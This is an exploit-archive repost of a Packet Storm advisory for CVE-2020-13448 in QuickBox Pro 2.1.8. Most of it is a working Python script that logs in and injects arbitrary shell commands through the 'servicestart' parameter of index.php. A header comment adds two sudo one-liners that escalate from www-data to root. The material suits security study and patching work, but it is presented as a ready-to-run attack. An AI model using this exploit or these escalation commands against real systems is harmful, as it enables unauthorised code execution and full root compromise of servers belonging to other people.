Exploit/Advisories

Published on June 2nd, 2020 📆 | 3767 Views ⚑

0

QuickBox Pro 2.1.8 Remote Code Execution ≈ Packet Storm

https://www.ispeech.org
[*]# Exploit Title: QuickBox Pro 2.1.8 - Authenticated Remote Code Execution[*]# Date: 2020-05-26[*]# Exploit Author: s1gh[*]# Vendor Homepage: https://quickbox.io/[*]# Vulnerability Details: https://s1gh.sh/cve-2020-13448-quickbox-authenticated-rce/[*]# Version: < = 2.1.8[*]# Description: An authenticated low-privileged user can exploit a command injection vulnerability to get code-execution as www-data and escalate privileges to root due to weak sudo rules.[*]# Tested on: Debian 9[*]# CVE: CVE-2020-13448[*]# References: https://github.com/s1gh/QuickBox-Pro-2.1.8-Authenticated-RCE

'''[*]Privilege escalation: After getting a reverse shell as the www-data user you can escalate to root in one of two ways.[*]1. sudo mysql -e '! /bin/sh'[*]2. sudo mount -o bind /bin/sh /bin/mount;sudo mount

'''

#!/usr/bin/env python3[*]# -*- coding: utf-8 -*-

import requests[*]import argparse[*]import sys[*]from requests.packages.urllib3.exceptions import InsecureRequestWarning[*]from urllib.parse import quote_plus

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def exploit(args):[*]s = requests.Session()[*]print('[*] Sending our payload...')

s.post('https://' + args.ip + '/inc/process.php', data={'username': args.username, 'password': args.password, 'form_submission': 'login'}, verify=False)[*]try:[*]s.get('https://' + args.ip + '/index.php?id=88&servicestart=a;' + quote_plus(args.cmd) + ';', verify=False)[*]except requests.exceptions.ReadTimeout:[*]pass

def main():[*]parser = argparse.ArgumentParser(description="Authenticated RCE for QuickBox Pro < = v2.1.8")[*]parser.add_argument('-i',dest='ip',required=True,help="Target IP Address")[*]parser.add_argument('-u',dest='username',required=True,help="Username")[*]parser.add_argument('-p',dest='password',required=True,help="Password")[*]parser.add_argument('-c',dest='cmd', required=True, help="Command to execute")[*]args = parser.parse_args()

exploit(args)

if __name__ == '__main__':[*]main()[*]sys.exit(0)[*]

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Tagged with: advisory • code • CSRF • execution • exploit • overflow • packet • Pro • quickbox • remote • scanner • security • storm • vulnerability • whitepaper • XSS